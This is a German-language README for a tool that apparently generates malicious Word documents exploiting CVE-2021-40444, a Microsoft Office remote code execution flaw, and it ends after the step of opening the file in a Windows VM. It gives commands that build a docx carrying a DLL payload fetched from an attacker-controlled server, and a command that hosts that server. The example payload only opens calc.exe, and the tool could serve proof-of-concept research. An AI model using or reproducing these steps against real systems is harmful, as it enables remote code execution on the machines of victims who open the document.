
Erstellt bösartige DOCX-Dokumente, die CVE-2021-40444 (Microsoft Office RCE) ausnutzen, mit einem gehosteten Server für die DLL-Payload-Zustellung, basierend auf rückentwickelten In-the-Wild-Beispielen.
Böswilliger docx-Generator zur Ausnutzung von CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
Die Erstellung dieses Skripts basiert auf Reverse Engineering der in freier Wildbahn verwendeten Probe: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)
Sie müssen zuerst lcab installieren (sudo apt-get install lcab)
Überprüfen Sie REPRODUCE.md für manuelle Reproduktionsschritte
Wenn Ihre generierte cab nicht funktioniert, versuchen Sie, die exploit.html-URL auf calc.cab zu verweisen
Generieren Sie zuerst ein bösartiges docx-Dokument mit einer DLL. Sie können die unter test/calc.dll verwenden, die lediglich einen calc.exe durch einen Aufruf von system() öffnet
python3 exploit.py generate test/calc.dll http://<SRV IP>

Sobald Sie das bösartige docx generiert haben (wird in out/ sein), können Sie den Server einrichten:
sudo python3 exploit.py host 80

Versuchen Sie abschließend das docx in einer Windows-Virtual-Maschine:
